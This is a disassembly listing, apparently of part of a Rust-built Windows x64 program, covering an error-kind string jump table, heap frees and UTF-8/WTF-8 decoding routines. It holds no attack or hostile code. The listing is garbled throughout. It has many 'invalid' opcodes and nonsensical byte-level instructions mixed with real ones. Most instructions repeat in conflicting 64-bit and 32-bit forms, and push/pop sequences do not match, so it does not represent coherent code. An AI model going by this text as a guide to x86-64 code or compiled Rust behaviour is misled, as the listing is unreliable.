add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop rbp
jmp rax
shr rdx, 0x20
invalid
mov dword [rbp + 0xc], edx
or al, 0x48
lea edi, [rbp - 0x10]
lea rdi, [rbp - 0x10]
mov rcx, rdi
mov ecx, edi
call fcn.14007cdd0
mov qword [rbp - 0x30], rdi
lea rax, [0x140015030]
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0xc]
lea eax, [rbp + 0xc]
dec dword [rax - 0x77]
fmul dword [r8 - 0x73]
invalid
or al, 0x48
mov dword [rbp - 0x20], eax
invalid
invalid
mov qword [rbp - 0x20], rax
loopne case.0x14007daa2.65
lea rax, [0x140049cd0]
lea eax, [0x140049cd0]
invalid
mov qword [rbp - 0x18], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
lea eax, [0x1400e8e78]
add byte [rsi], 0
invalid
mov qword [rbp - 0x60], rax
movabs al, byte [0x3a845c748]
mov qword [rbp - 0x58], 3
add byte [rax], al
mov qword [rbp - 0x40], 0
rol byte [r8], 0
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x73], cl
invalid
add byte [rax], al
lea rax, [rbp - 0x30]
ror byte [r8 - 0x77], 1
mov r8b, 0x48
mov al, 0x48
mov qword [rbp - 0x50], rax
mov al, 0x48
mov qword [rbp - 0x48], 2
mov dword [rbp - 0x48], 2
mov eax, 2
add al, byte [rax]
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
push rsi
invalid
and byte [rax - 0x75], cl
push rsi
sub byte [rbp + rcx*4 + 0x45], cl
movabs al, byte [0x48c389fffc145fe8]
pop rdi
adc al, 0xfc
invalid
mov ebx, eax
invalid
lea r8, [rbp - 0x60]
call fcn.140042240
pop rdi
adc al, 0xfc
invalid
mov ebx, eax
pop rdi
adc al, 0xfc
dec dword [rcx + 0x7d8348c3]
cmp qword [rbp - 8], 0
invalid
cmp qword [rbp - 8], 0
cmp dword [rbp - 8], 0
je 0x140081102
test byte [rbx + rax], dl
add byte [rax], al
mov r8, qword [rbp - 0x10]
mov rcx, qword [0x1400f91f8]
or eax, 0x783ff
or eax, 0x783ff
inc dword [rbx - 0x2dcefff9]
xor edx, edx
sar bh, cl
adc eax, 0x2f607
add al, byte [rax]
call qword [sym.imp.kernel32.dll_HeapFree]
add al, byte [rax]
jmp 0x140081102
shr rdx, 0x20
lea rax, [0x1400f073c]
lea eax, [0x1400f073c]
add byte [rax + 0x63], cl
or al, 0x90
movsxd rcx, dword [rax + rdx*4]
add rcx, rax
sar edi, 0xe1
lea rax, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOscodekind
lea eax, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOscodekind
jmp rcx
lea eax, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOscodekind
add eax, 0x67d17
mov ecx, 0x10
jmp 0x1400810a9
jle case.0x140080e18.1
add byte [rax], al
add byte [rax], al
add cl, ch
jle case.0x140080e18.1
add byte [rax], al
lea rax, [0x1400e8b48]
lea eax, [0x1400e8b48]
add eax, 0x67d16
mov ecx, 0x11
jmp 0x1400810a9
insd dword [rdi], dx
add al, byte [rax]
invalid
add byte [rax], al
add cl, ch
insd dword [rdi], dx
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
invalid
lea eax, [0x1400e8b59]
add eax, 0x67d16
mov ecx, 0x12
jmp 0x1400810a9
pop rsp
add al, byte [rax]
invalid
add byte [rax], al
add cl, ch
pop rsp
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
invalid
lea eax, [0x1400e8b6b]
add eax, 0x67d17
mov ecx, 0x10
add byte [rax], al
add cl, ch
add al, byte [r8]
add al, byte [rax]
jmp 0x1400810a9
add al, byte [rax]
add byte [rax - 0x73], cl
lea eax, [0x1400e8b7b]
add eax, 0x67d16
mov ecx, 0x10
add byte [rax], al
add cl, ch
jmp 0x1400810a9
cmp al, byte [rdx]
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x1400e8b8b]
lea eax, [0x1400e8b8b]
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
invalid
lea eax, [0x1400e8b8b]
add eax, 0x67d15
jmp 0x1400810a4
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
invalid
lea eax, [0x1400e8b9e]
add eax, 0x67d1c
add byte [rcx + 0x12], bh
mov ecx, 0x12
jmp 0x1400810a9
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
invalid
lea eax, [0x1400e8bb0]
add eax, 0x67d1d
mov ecx, 0xd
jmp 0x1400810a9
or al, 2
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
invalid
lea eax, [0x1400e8bbd]
add eax, 0x67d19
mov ecx, 0xe
jmp 0x1400810a9
sti
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
lea eax, [0x1400e8bcb]
add eax, 0x67d16
mov ecx, 0x15
jmp 0x1400810a9
invalid
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
lea eax, [0x1400e8be0]
add eax, 0x67d1a
mov ecx, 0xc
jmp 0x1400810a9
fld dword [rcx]
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
lea eax, [0x1400e8bec]
add eax, 0x67d15
mov ecx, 0xb
jmp 0x1400810a9
enter 1, 0
add byte [rax], al
add cl, ch
enter 1, 0
lea rax, [0x1400e8bf7]
lea eax, [0x1400e8bf7]
lea eax, [0x1400e8bf7]
add eax, 0x67d0f
mov ecx, 0x15
jmp 0x1400810a9
mov bh, 1
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
mov bh, 1
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x1400e8c0c]
lea eax, [0x1400e8c0c]
lea eax, [0x1400e8c0c]
add eax, 0x67d13
mov ecx, 0x15
jmp 0x1400810a9
cmpsb byte [rsi], byte [rdi]
add dword [rax], eax
invalid
add byte [rax], al
add cl, ch
cmpsb byte [rsi], byte [rdi]
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
lea eax, [0x1400e8c21]
add eax, 0x67d17
mov ecx, 0xf
jmp 0x1400810a9
xchg ebp, eax
add dword [rax], eax
invalid
add byte [rax], al
add cl, ch
xchg ebp, eax
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
lea eax, [0x1400e8c30]
add eax, 0x67d15
mov ecx, 0xe
jmp 0x1400810a9
test byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
test byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x1400e8c3e]
lea eax, [0x1400e8c3e]
lea eax, [0x1400e8c3e]
add eax, 0x67d12
jge case.0x140080e18.17
add cl, ch
jae 0x140080f30
invalid
jmp 0x1400810a4
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x67d19
jge case.0x14007e3f3.77
invalid
lea rax, [0x1400e8c51]
lea eax, [0x1400e8c51]
jge case.0x14007e3f3.77
add byte [rcx + 0x26], bh
mov ecx, 0x26
add byte es:[rax], al
add cl, ch
invalid
add dword [eax], eax
add dword [rax], eax
jmp 0x1400810a9
add dword [rax], eax
add byte [rax - 0x73], cl
lea eax, [0x1400e8c77]
add eax, 0x67d2e
add byte [rcx + 0x38], bh
mov ecx, 0x38
add byte [rax], al
add cl, ch
invalid
jmp 0x1400810a9
push rsi
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1400e8caf]
lea eax, [0x1400e8caf]
add byte [rax], al
lea rax, [0x1400e8caf]
lea eax, [0x1400e8caf]
lea eax, [0x1400e8caf]
add byte [rcx + 0x19], bh
mov ecx, 0x19
jmp 0x1400810a9
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1400e8cc8]
lea eax, [0x1400e8cc8]
lea eax, [0x1400e8cc8]
add byte [rcx + 0x17], bh
mov ecx, 0x17
add byte [rax], al
add cl, ch
jmp 0x1400810a9
lea rax, [0x1400e8cdf]
lea eax, [0x1400e8cdf]
jmp 0x1400810a9
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1400e8cdf]
lea eax, [0x1400e8cdf]
lea eax, [0x1400e8cdf]
add byte [rcx + 0xc], bh
mov ecx, 0xc
jmp 0x1400810a9
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1400e8ceb]
lea eax, [0x1400e8ceb]
lea eax, [0x1400e8ceb]
pop rsi
jge 0x140080f92
add byte [rcx + 9], bh
mov ecx, 9
add byte [rax], al
add cl, ch
jmp 0x1400810a9
adc al, byte [rcx]
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1400e8cf4]
lea rax, [0x1400e8cf4]
lea eax, [0x1400e8cf4]
jge case.0x1400283bc.1381
add byte [rcx + 0xa], bh
mov ecx, 0xa
or al, byte [rax]
add byte [rax], al
jmp 0x1400810a9
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x67d4f
jge 0x140080fb4
invalid
lea eax, [0x1400e8cfe]
jge 0x140080fb4
jge 0x140080fb4
add byte [rcx + 0x10], bh
mov ecx, 0x10
add cl, ch
lock add byte [rax], al
add byte [rax], al
jmp 0x1400810a9
add byte [rax], al
add byte [rax], al
lea rax, [0x1400e8d0e]
lea eax, [0x1400e8d0e]
add byte [rax - 0x73], cl
lea eax, [0x1400e8d0e]
add eax, 0x67d4e
jge 0x140080fc5
add byte [rcx + 0x17], bh
mov ecx, 0x17
invalid
add byte [rax], al
jmp 0x1400810a9
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x1400e8d25]
lea eax, [0x1400e8d25]
lea eax, [0x1400e8d25]
invalid
mov ecx, 0x19
sbb dword [rax], eax
add byte [rax], al
invalid
add cl, ch
invalid
jmp 0x1400810a9
add byte [rax], al
lea rax, [0x1400e8d3e]
lea eax, [0x1400e8d3e]
lea eax, [0x1400e8d3e]
add eax, 0x67d5c
invalid
mov ecx, 0xe
invalid
jmp 0x1400810a9
add byte [rax - 0x73], cl
lea eax, [0x1400e8d4c]
add eax, 0x67d59
invalid
mov ecx, 0xd
jmp 0x1400810a9
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
lodsb al, byte [rsi]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
lea eax, [0x1400e8d59]
add eax, 0x67d55
add byte [rcx + 0x14], bh
mov ecx, 0x14
jmp 0x1400810a9
wait
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x67d58
pop rax
jge 0x14008101a
invalid
lea eax, [0x1400e8d6d]
pop rax
jge 0x14008101a
add byte [rcx + 8], bh
mov ecx, 8
add byte [rax], al
jmp 0x1400810a9
mov al, byte [rax]
add byte [rax], al
lea rax, [0x1400e8d75]
add eax, 0x67d4f
add byte [rcx + 0x1b], bh
mov ecx, 0x1b
add byte [rax], al
jmp 0x1400810a9
jl 0x140081076
lea rax, [0x1400e8d90]
lea eax, [0x1400e8d90]
jge case.0x140080d34.38
add byte [rcx + 0xe], bh
mov ecx, 0xe
add byte [rax], al
jmp 0x1400810a9
lea rax, [0x1400e8d9e]
lea eax, [0x1400e8d9e]
add eax, 0x67d5c
mov ecx, 0x10
adc byte [rax], al
add byte [rax], al
jmp 0x1400810a9
lea rax, [0x1400e8dae]
jge case.0x140080d34.40
add byte [rcx + 0x16], bh
mov ecx, 0x16
add byte [rax], al
add bl, ch
jmp 0x1400810a9
jmp 0x1400810a9
lea rax, [0x1400e8dc4]
lea eax, [0x1400e8dc4]
add byte [rcx + 0x15], bh
mov ecx, 0x15
jmp 0x1400810a9
lea rax, [0x1400e8dd9]
insd dword [rdi], dx
jge case.0x140080d34.42
add byte [rcx + 0xb], bh
mov ecx, 0xb
jmp 0x1400810a9
lea rax, [0x1400e8de4]
mov ecx, 0x16
push 0x7d
invalid
jge case.0x140080d34.43
add byte [rcx + 0x16], bh
jmp 0x1400810a9
add eax, 0x67d72
mov ecx, 0xd
add byte [rax], al
add byte [rax], al
jmp 0x1400810a9
lea rax, [0x1400e8e07]
mov ecx, 0xb
or eax, dword [rax]
add byte [rax], al
jge case.0x1400283bc.1425
add byte [rcx + 0xb], bh
or eax, dword [rax]
add byte [rax], al
jmp 0x1400810a9
add eax, 0x67d6e
add byte [rcx + 0x13], bh
mov ecx, 0x13
add byte [rax], al
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
fmul dword [r8 - 0x73]
ror byte [r8 - 0x77], 1
invalid
invalid
lea rax, [0x140051570]
add eax, 0xfffd04b0
ror byte [r8 - 0x77], 1
fmul dword [r8 - 0x73]
ror byte [r8 - 0x77], 1
invalid
add eax, 0xfffd04b0
dec dword [rax - 0x77]
clc
mov qword [rbp - 8], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
add eax, 0x6be95
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
add byte [rax], al
invalid
movabs al, byte [0x1a845c748]
add byte [rax], al
add byte [rax - 0x39], cl
rol byte [r8], 0
add byte [rax], al
mov qword [rbp - 0x40], 0
add byte [rax], al
add byte [rax], al
lea rax, [rbp - 0x10]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov r8d, 1
invalid
mov r8d, 1
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
lea r8, [rbp - 0x60]
call fcn.140042240
cld
invalid
mov ebx, eax
cld
dec dword [rcx + 0x48d889c3]
mov eax, ebx
add rsp, 0x98
add esp, 0x98
add esp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
ret
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp - 8], 0
cmp dword [rbp - 8], 0
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x7d], cl
jge 0x140081120
cmp dword [rbp - 8], 0
add byte [rbx + rdx + 0x4c], dh
mov eax, dword [rbp - 0x10]
je 0x14008113e
mov r8, qword [rbp - 0x10]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov r14, qword [rcx]
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rdx + 0x20]
mov r15, qword [rdx + 0x28]
sub byte [rcx - 0x75], cl
outsd dx, dword [rsi]
sbb byte [rax - 0x73], cl
adc eax, 0x6a91a
sub byte [rcx - 0x75], cl
outsd dx, dword [rsi]
sbb byte [rax - 0x73], cl
adc eax, 0x6a91a
test eax, 0xb8410006
add dword [rax], eax
add byte [rax], al
mov r8d, 1
mov rcx, rsi
call rbp
mov bl, 1
test al, al
jne case.0x14002f576.1156
rol byte [rcx], 0
invalid
rol byte [rcx], 0
add byte [rbp - 0x73], cl
lea r13, [r14 + rdi]
lea r13, [r14 + rdi]
xor ecx, ecx
cmp rcx, rdi
stc
je case.0x1400270ad.1321
add dword [rax], eax
add byte [rbp - 0x73], cl
add al, 0xe
lea r8, [r14 + rcx]
lea eax, [rsi + rcx]
mov r12, rcx
mov esp, ecx
mov rdx, r8
jmp 0x1400811cf
ret 0x25eb
add rdx, 2
add edx, 2
cmp rax, r13
cmp eax, ebp
cmovne rax, rdx
mov r10d, 2
add al, byte [rax]
add byte [rax], al
ret 0xba41
add al, byte [rax]
add byte [rax], al
nop dword [rax + rax]
add byte [rbp + 1], cl
invalid
add r12, r10
mov rdx, rax
cmp rax, r13
cmp eax, ebp
cmp eax, ebp
je case.0x14002739f.1290
add byte [rax - 0x73], cl
add dword [rdi + r9 - 0x4a], eax
movzx r9d, byte [rdx]
invalid
invalid
add dword [rax], eax
lea rax, [rdx + 1]
movzx r9d, byte [rdx]
mov dh, 0xa
mov r10d, 1
add byte [rax], al
add byte [rbp - 0x7c], al
test r9b, r9b
leave
jns 0x1400811c0
cmp r9b, 0xe0
cmp cl, 0xe0
jb 0x1400811aa
ret 0x8041
cmp r9b, 0xed
stc
in eax, dx
jne case.0x1400270ad.1289
cmp rax, r13
cmp eax, ebp
je case.0x14002739f.1290
sub dword [rcx], eax
add byte [rax], al
lea r9, [rdx + 2]
lea ecx, [rdx + 2]
cmp r9, r13
je case.0x14002739f.1290
test byte [rcx + rax], bl
add byte [rax], al
invalid
test byte [rcx + rax], bl
add byte [rax], al
invalid
add byte [rdi], cl
mov dh, 0x42
invalid
movzx eax, byte [rdx + 1]
movzx eax, ax
add dword [rdi], ecx
add dword [rdi], ecx
mov bh, 0xc0
cmp eax, 0x9f
ja case.0x14002739f.1254
add byte [rax], al
add byte [rdi + 0x4b], dh
add rdx, 3
add edx, 3
ret 0x4103
mov r10d, 3
mov edx, 3
add byte [rax - 0x77], cl
mov rax, rdx
jmp 0x1400811c0
shr bl, 1
lahf
add rdx, 2
add edx, 2
cmp rax, r13
cmove rdx, rax
cmove edx, eax
cmove edx, eax
xor eax, eax
cmp rdx, r13
invalid
setne al
ror byte [rax + 1], 0xd0
invalid
ror byte [rax + 1], 0xd0
mov r10d, 3
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x80], al
invalid
cmp r9b, 0xf0
cmp cl, 0xf0
stc
invalid
jb 0x1400811c0
invalid
xor edx, edx
cmp rax, r13
ror byte [rcx + rdi - 0x18], cl
setne dl
add rax, rdx
mov r10d, 4
mov edx, 4
mov edx, 4
add byte [rax], al
jmp 0x1400811c0
invalid
movzx edx, byte [r9]
and eax, 0x1f
shl eax, 6
and edx, 0x3f
loop 0x1400812a9
loop 0x1400812a9
add eax, edx
add eax, 0xd800
add byte [rax], al
rol byte [0x14008ea71], 1
add byte [rax], al
mov word [rsp + 0x26], ax
mov dword [rsp + 0x26], eax
and al, 0x26
mov r9, r12
sub r9, rcx
jb 0x140081362
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x39], cl
cld
add byte [rax], al
cmp r12, rdi
ja case.0x140032218.1135
call 0x18808128c
mov ecx, esi
add byte [rax], al
mov rcx, rsi
mov rdx, r15
mov edx, edi
call case.0x14002739f.1306
test al, al
ror byte [rdi], 0x85
mov cl, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + rax*8 + 0xb1850f], al
ror byte [rdi], 0x85
mov cl, 0
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [rsp + 0x26]
add byte [rax], al
lea rax, [rsp + 0x26]
lea eax, [rsp + 0x26]
mov qword [rsp + 0x28], rax
lea rax, [0x1400433d0]
add eax, 0xfffc2121
sub byte [rax - 0x73], cl
lea eax, [0x1400433d0]
add eax, 0xfffc2121
and dword [rcx], esp
cld
dec dword [rax - 0x77]
invalid
invalid
mov qword [rsp + 0x30], rax
and al, 0x30
xor byte [rax - 0x73], cl
add eax, 0x683dd
invalid
add dword [rsi], 0
lea rax, str.u
fld qword [rbx - 0x76b7fffa]
and al, 0x38
invalid
add dword [rsi], 0
mov qword [rsp + 0x38], rax
cmp byte [rax - 0x39], cl
mov qword [rsp + 0x40], 2
mov dword [rsp + 0x40], 2
and al, 0x40
and al, 0x40
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x58], 0
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x50], 1
and al, 0x50
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov rcx, rsi
int1
mov rdx, r15
mov edx, edi
lea r8, [rsp + 0x38]
lea eax, [rsp + 0x38]
cmp al, ch
paddb mm7, mm7
cld
invalid
call fcn.140042240
cld
inc dword [rax + rax*8 - 0x7cb6a98b]
jne case.0x14002f576.1156
invalid
invalid
test al, al
jne case.0x14002f576.1156
add r12, 3
add esp, 3
invalid
mov rcx, r12
mov ecx, esp
loope case.0x14002739f.1296
cmp r12, rdi
cmp esp, edi
jbe 0x140081195
invalid
dec dword [rbp + rcx*4 + 5]
enter 0x683, 0
invalid
lea r8, str.library_std_src_sys_commonwtf8.rs
add eax, 0x683c8
add byte [rcx + rcx*4 - 0x1f], cl
mov rcx, r12
loope case.0x1400270ad.1330
mov rdx, rdi
mov edx, edi
call fcn.1400a9f20
add al, byte [rax]
ud2
mov rcx, rdi
stc
sub rdi, rcx
add r14, rcx
add esi, ecx
add esi, ecx
mov rcx, rsi
mov ecx, esi
mov rdx, r15
cli
mov r8, r14
invalid
mov r9, rdi
call case.0x14002739f.1306
pop rcx
add byte [rax], al
add byte [rax], al
test al, al
jne case.0x14002f576.1156
lea rdx, [0x1400eba94]
add byte [rax], al
test al, al
jne case.0x14002f576.1156
lea rdx, [0x1400eba94]
lea edx, [0x1400eba94]
cmpsd dword [rsi], dword [rdi]
invalid
mov r8d, 1
mov eax, 1
add byte [rax - 0x77], cl
mov rcx, rsi
int1
call rbp
mov ebx, eax
ret
ret
mov eax, ebx
add rsp, 0x68
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
ret
lea r8, str.library_std_src_sys_commonwtf8.rs
lea eax, [0x1400e9678]
add dword [rsi], 0
mov rdx, r12
mov edx, esp
call fcn.1400aa2f0
jg 0x1400812fe
add al, byte [rax]
ud2
lea r8, str.library_std_src_sys_commonwtf8.rs
lea eax, [0x1400e9678]
invalid
mov rcx, r12
mov ecx, esp
mov rdx, rdi
cli
call fcn.1400aa020
mov word [rdx], es
add byte [rdi], cl
ud2
or ecx, esp
int3
int3
int3
push r15
push r14
push rsi
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xd8
in al, dx
fadd dword [rax]
add byte [rax], al
invalid
in al, dx
fadd dword [rax]
add byte [rax], al
invalid
add byte [rdi + rcx + 0x29], al
movaps xmmword [rsp + 0xc0], xmm8
sub dword [rsp + 0xc0], eax
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rdi], cl
invalid
movaps xmmword [rsp + 0xb0], xmm7
sub dword [rsp + 0xb0], edi
mov al, 0
add byte [rax], al
invalid
add byte [rdi], cl
sub dword [rsp + 0xa0], esi
and al, 0xa0
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0xa0], xmm6
and al, 0xa0
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x39], cl
mov rdi, r8
mov edi, eax
invalid
mov qword [rsp + 0x90], rdx
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov qword [rsp + 0x88], rcx
add r9, r8
add ecx, eax
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rbp + 1], cl
add ecx, eax
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x60], r8
mov dword [rsp + 0x60], eax
and al, 0x60
mov qword [rsp + 0x98], r9
mov qword [rsp + 0x68], r9
and al, 0x68
and al, 0x98
cwde
add byte [rax], al
add byte [rcx + rcx*4 + 0x4c], cl
and al, 0x68
and al, 0x68
mov byte [rsp + 0x70], 0x81
mov byte [rsp + 0x7c], 0x81
jl case.0x140032218.1134
add esi, 0x817c2444
mov r13b, 0x81
mov ch, 0x81
movdqa xmm6, xmmword [0x1400b0730]
add al, byte [rax]
movdqa xmm7, xmmword [0x1400b0740]
invalid
movdqa xmm8, xmmword [0x1400b0750]
outsd dx, dword [rsi]
add eax, 0x2f346
add al, byte [rax]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
mov qword [rsp + 0x50], rax
mov eax, ebx
movzx ebx, word [rsp + 0x58]
shl rbx, 0x30
movzx ebp, word [rsp + 0x50]
push rax
jmp 0x140081470
lea rax, [0x1400d9535]
lea eax, [0x1400d9535]
add eax, 0x44894800
and al, 0x28
mov qword [rsp + 0x28], rax
and al, 0x28
mov qword [rsp + 0x30], 0x12f
mov dword [rsp + 0x30], 0x12f
invalid
add byte [rax], al
mov qword [rsp + 0x20], 0x11f
and byte [rdi], bl
add dword [rax], eax
invalid
add byte [rax], al
add byte [rcx - 0x48], al
sub byte [rax], al
add byte [rax], al
invalid
mov r8d, 0x28
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], al
mov ecx, ebp
mov ecx, r13d
mov ecx, ebp
lea rdx, [0x1400d93c6]
adc eax, 0x57f72
add byte [rbp + rcx*4 + 0xd], cl
lea r9, [0x1400d9416]
mov ebx, 0xe800057f
adc byte [rsp + rdi*8], bh
cld
call fcn.140045070
test al, al
ror byte [rdi], 0x85
add dword [rax], eax
add dword [rax], eax
invalid
cld
inc dword [rax + rax*8 + 0x142850f]
ror byte [rdi], 0x85
add dword [rax], eax
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add cl, ch
add al, byte [r8]
invalid
jmp 0x1400816b0
add byte [rdi], cl
invalid
cmp r13b, 0x81
je 0x140081489
xor dword [rbx + rdx + 0x41], 0xf80fd80
cmp r13b, 0x80
je 0x140081820
test byte [rax + 0x44000003], ah
cmp al, r12b
cmp al, ah
jb 0x140081850
add byte [rax - 0x7b], cl
test rdi, rdi
je 0x140081896
add al, 4
add byte [rax], al
dec dword [rdi]
test byte [rsp + rax], al
add al, 4
add al, 4
add al, 0
add byte [rax + 0x3b], cl
invalid
mov esp, 0x9824
cwde
add byte [rax], al
add byte [rax], al
cmp rdi, qword [rsp + 0x98]
cwde
add byte [rax], al
add byte [rdi], cl
test dh, dh
je 0x140081896
add eax, dword [rax]
add byte [rdi], cl
movzx edx, byte [rdi]
mov dh, 0x17
movzx r13d, dl
movzx ebp, dl
test r13b, r13b
js 0x1400814d0
and al, 0x48
inc edi
inc rdi
mov esi, r13d
cmp r13d, 0x27
cmp ebp, 0x27
jbe 0x140081550
xchg byte [rax + rax - 0x40170000], dl
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
jmp 0x140081580
mov edi, 0x66000000
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x18], al
mov eax, r13d
and eax, 0x1f
invalid
movzx r8d, byte [rdi + 1]
movzx eax, byte [rdi + 1]
and r8d, 0x3f
and eax, 0x3f
cmp r13b, 0xdf
fbstp tbyte [rsi + 0x47]
jbe 0x14008152c
movzx ecx, byte [rdi + 2]
shl r8d, 6
shl eax, 6
and ecx, 0x3f
or ecx, r8d
or ecx, eax
cmp dl, 0xf0
jb case.0x140068b4c.1086
invalid
push 0x6fb60f44
movzx r13d, byte [rdi + 3]
and eax, 7
loopne 0x140081507
add eax, dword [rbx - 0x1f3ef820]
adc al, cl
shl ecx, 6
loopne 0x140081507
invalid
shl eax, 0x12
shl ecx, 6
invalid
and r13d, 0x3f
and ebp, 0x3f
or r13d, ecx
int 0x41
or ebp, eax
or r13d, eax
cmp r13d, 0x110000
add byte [rax], al
adc dword [rax], eax
je 0x140081896
add eax, dword [rax]
add byte [rax - 0x7d], cl
add rdi, 4
mov dword [rsp + rax*2], 0x8341ee89
mov esi, r13d
cmp r13d, 0x27
std
invalid
std
invalid
jbe 0x140081550
jmp 0x140081580
add rdi, 2
add al, cl
loopne 0x140081539
shl eax, 6
or eax, r8d
rol byte [rcx - 0x77], 0xc5
mov r13d, eax
mov esi, r13d
cmp r13d, 0x27
cmp ebp, 0x27
ja 0x140081580
nop word cs:[rax + rax]
